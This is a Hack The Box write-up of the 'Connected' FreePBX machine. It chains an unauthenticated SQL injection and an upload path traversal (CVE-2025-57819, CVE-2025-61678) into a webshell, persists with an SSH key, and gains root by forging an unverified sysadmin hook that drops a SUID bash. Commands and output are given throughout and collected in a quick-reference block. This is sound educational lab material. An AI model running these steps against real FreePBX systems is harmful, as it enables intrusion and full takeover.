Back to blog
← Back to posts

HTB: Connected


Connected is a FreePBX box, and both halves are about trusting the wrong thing. The foothold chains two fresh CVEs — an unauthenticated stacked SQL injection (CVE-2025-57819) that writes a brand-new admin straight into the users table, and an authenticated firmware-upload path traversal (CVE-2025-61678) that drops a webshell in the web root. Root is prettier: FreePBX ships a root-run "sysadmin" hook system that runs module scripts when a file lands in an incron-watched spool. It does hash-check each hook against a signed module.sig — but it never actually verifies the signature, so a user who can write the module directory can rewrite a hook, patch its hash, and have it run as root.
Connected compromise chain: FreePBX 16 unauthenticated stacked SQLi (CVE-2025-57819) inserts an admin, an authenticated Endpoint-Manager firmware-upload path traversal (CVE-2025-61678) drops a webshell as asterisk for user.txt, an incron watcher runs sysadmin_manager as root on new spool files, and an editable module.sig lets asterisk plant a root hook that drops a SUID bash for root.txt
FreePBX 16 CVE-2025-57819 SQLi → admin CVE-2025-61678 upload → webshell asterisk incron sysadmin hook root

Reconnaissance

SSH plus a CentOS Apache serving HTTP and HTTPS, redirecting to connected.htb. The TLS cert (pbxconnect) and the /admin title give it away — this is FreePBX.

nmap
$ nmap -sCV -p- <TARGET_IP> 22/tcp open ssh OpenSSH 7.4 80/tcp open http Apache/2.4.6 (CentOS) PHP/7.4 (→ connected.htb) 443/tcp open ssl/http Apache/2.4.6 (ssl-cert CN=pbxconnect) $ curl -sk https://<TARGET_IP>/admin/ -o /dev/null -w '%{redirect_url}\n' https://<TARGET_IP>/admin/config.php # FreePBX Administration 16

Foothold — FreePBX 16 SQLi → Admin → RCE

FreePBX 16 is vulnerable to two chainable bugs (public exploit: 0xEhab/FreePBX-CVE-2025-57819-RCE):

The exploit does all of it and hands you command execution. One transient note: the first run timed out on the login POST (the box is slow to answer); the retry sailed through.

FreePBX RCE
$ python3 exploit.py --rhost <TARGET_IP> --command 'id' [*] [CVE-2025-57819] creating admin via stacked SQLi: svc_p2v21:... [+] admin row inserted into ampusers [+] authenticated as svc_p2v21 [*] [CVE-2025-61678] uploading webshell -> /3jjb7bz2oi/t5rxo97i.php [+] webshell live uid=999(asterisk) gid=1000(asterisk) groups=1000(asterisk)

RCE as asterisk. Rather than juggle a reverse shell, I used the single-command mode to plant an SSH key and get a stable session — user flag's right there:

SSH-key persistence → user.txt
$ python3 exploit.py --rhost <IP> --command \ "mkdir -p ~/.ssh; echo '<pubkey>' >> ~/.ssh/authorized_keys" $ ssh -i conn_key asterisk@<IP> 'cat ~/user.txt' [redacted — user flag]

Root — The FreePBX sysadmin Hook

SUID hunting turns up a vulnerable-looking pkexec, but its exploit doesn't land. The real path is FreePBX's own automation glue. /etc/incron.d defines incron watches — inotify-driven cron — and one of them is the whole game:

/etc/incron.d/*
/var/spool/asterisk/incron IN_MODIFY,IN_ATTRIB,IN_CLOSE_WRITE /usr/bin/sysadmin_manager $# /usr/local/asterisk/incron IN_CLOSE_WRITE /usr/bin/sysadmin_manager --local $#

So whenever a file appears in /var/spool/asterisk/incron, root runs sysadmin_manager with that filename. That binary (its logic lives in /usr/lib/sysadmin/includes.php) parses the filename as <module>.<hook> and, after a series of checks, runs the module's hook script as root:

includes.php — the payoff
$sigfile = "/var/www/html/admin/modules/$module/module.sig"; $hookfile = "/var/www/html/admin/modules/$module/hooks/$hook"; $verify = $g->checkSig($sigfile); # parses the signed hash list ... if (hash_file('sha256', $hookfile) !== $verify['hashes'][$signame]) exit; # hash gate ... system("$hookfile $params"); # runs as ROOT

On paper that's locked down: the hook has to match a sha256 listed inside a GPG-clearsigned module.sig that must be signed by a whitelisted FreePBX key. But look at what the code actually checks — it asserts the [hashes] and [config][signedwith] blocks exist and are whitelisted, and that the hook's hash matches. It never checks that the GPG signature actually verified. checkSig happily parses the hash list out of a clearsigned file whose body has been edited.

Diagram of the sysadmin hook privesc: asterisk rewrites a module's hooks/logrotate to drop a SUID bash and patches the matching sha256 in module.sig, sysadmin_manager checks the sha256 against the parsed but never GPG-verified module.sig, then touching a trigger in the incron spool makes it run the hook as root

And the modules directory is ours: /var/www/html/admin/modules is owned asterisk:asterisk, mode 775. So pick a module with a hook — the api module has a logrotate one — rewrite the hook to drop a SUID bash, recompute its sha256, patch that one line in module.sig, and touch the trigger:

forge the hook → trigger as root
asterisk@connected$ M=/var/www/html/admin/modules/api asterisk@connected$ printf '#!/bin/bash\ninstall -m 4755 /bin/bash /tmp/.bs\n' > "$M/hooks/logrotate" asterisk@connected$ NEW=$(sha256sum "$M/hooks/logrotate" | awk '{print $1}') asterisk@connected$ sed -i "s#^hooks/logrotate = .*#hooks/logrotate = $NEW#" "$M/module.sig" asterisk@connected$ touch /var/spool/asterisk/incron/api.logrotate # incron → sysadmin_manager (root)

The incron watch fires, root runs our hook, and a setuid bash appears. -p keeps the effective UID at 0:

SUID bash → root
asterisk@connected$ ls -l /tmp/.bs -rwsr-xr-x 1 root root 964536 /tmp/.bs asterisk@connected$ /tmp/.bs -p -c 'id; cat /root/root.txt' uid=999(asterisk) euid=0(root) groups=1000(asterisk) [redacted — root flag]
The hook system did the hard part — GPG-signing releases, whitelisting keys, hashing every file — and then forgot to enforce it. A hash pinned inside a signature you never validate is just a checksum, and a checksum you can rewrite is no control at all. Verify the signature's result, and don't let the account that serves the web app own the directory the root daemon trusts.

Why it worked

StageRoot cause
→ adminUnauthenticated stacked SQL injection in the endpoint module loader inserts an admin — CVE-2025-57819 (CWE-89)
→ asteriskAuthenticated firmware-upload path traversal writes a PHP webshell to the web root — CVE-2025-61678 (CWE-22 / CWE-434)
→ rootRoot sysadmin hook trusts an editable module.sig it never GPG-verifies, and the web user owns the module dir (CWE-347 / CWE-732)

Key commands

quick reference
# 1. FreePBX SQLi + upload RCE → asterisk (user.txt) python3 exploit.py --rhost <IP> --command 'id' # CVE-2025-57819 + 61678 python3 exploit.py --rhost <IP> --command "echo <pubkey> >> ~/.ssh/authorized_keys" ssh -i conn_key asterisk@<IP> # 2. incron sysadmin hook → root (root.txt) M=/var/www/html/admin/modules/api printf '#!/bin/bash\ninstall -m 4755 /bin/bash /tmp/.bs\n' > $M/hooks/logrotate sed -i "s#^hooks/logrotate = .*#hooks/logrotate = $(sha256sum $M/hooks/logrotate|awk '{print $1}')#" $M/module.sig touch /var/spool/asterisk/incron/api.logrotate /tmp/.bs -p -c 'cat /root/root.txt'